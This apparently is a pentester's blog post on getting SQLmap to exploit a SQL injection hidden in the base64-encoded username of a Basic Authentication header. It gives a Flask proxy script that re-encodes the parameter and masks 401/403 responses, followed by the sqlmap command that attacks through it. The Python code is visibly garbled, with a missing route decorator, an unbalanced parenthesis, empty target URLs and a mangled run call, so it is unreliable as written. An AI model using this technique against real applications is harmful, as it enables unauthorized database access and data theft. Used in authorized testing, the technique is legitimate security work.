Sometimes, you will find a SQL-injection vulnerability in a parameter that SQLmap cannot exploit, because the injection point is not supported.

This can be the username or password in a Basic Authentication HTTP-header. The Basic Authentication HTTP-Header looks like:

Authorization: basic dXNlcm5hbWU6cGFzc3dvcmQ=

The odd-looking string is base64-encoded data:

>>> base64.b64decode(b"dXNlcm5hbWU6cGFzc3dvcmQ=")

In one application, I discovered that the username was vulnerable to SQL-injection. But I could not use SQLmap directly, as the injecton was inside a formatted string (username:password) and encoded with base64.

To solve this problem, I wrote a small web-application in Flask that act as a proxy and expose the vulnerable parameter as a simple query-paramter while hiding the application-specific logic from SQLmap.

#!/usr/bin/env python
from flask import Flask, request
import requests
from base64 import b64encode

app = Flask(__name__)
def app_proxy():
    username = request.args.get("username",None)
    if not username: return "Missing parameter username", 400
    password = "dummy"
    headers = {}
    auth_header = "Basic %s" % b64encode("%s:%s" % (username,password)
    headers["Authorization"] = auth_header
    resp = requests.get("",headers=headers)
    status_code = resp.status_code
    if status_code in [403,401]:
        # SQLMap can abort on these status codes
        status_code = 200 
    return resp.text, status_code"",8000)

Start the flask application:

$ python 
 * Serving Flask app "sqlmap_proxy" (lazy loading)
 * Environment: production
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on (Press CTRL+C to quit)

Finally, I can now use SQLmap to exploit the vulnerability

$ sqlmap -u http://localhost:8000/?username=foo

You can easily adapt the small flask-application to other usecases for SQLmap or other tools.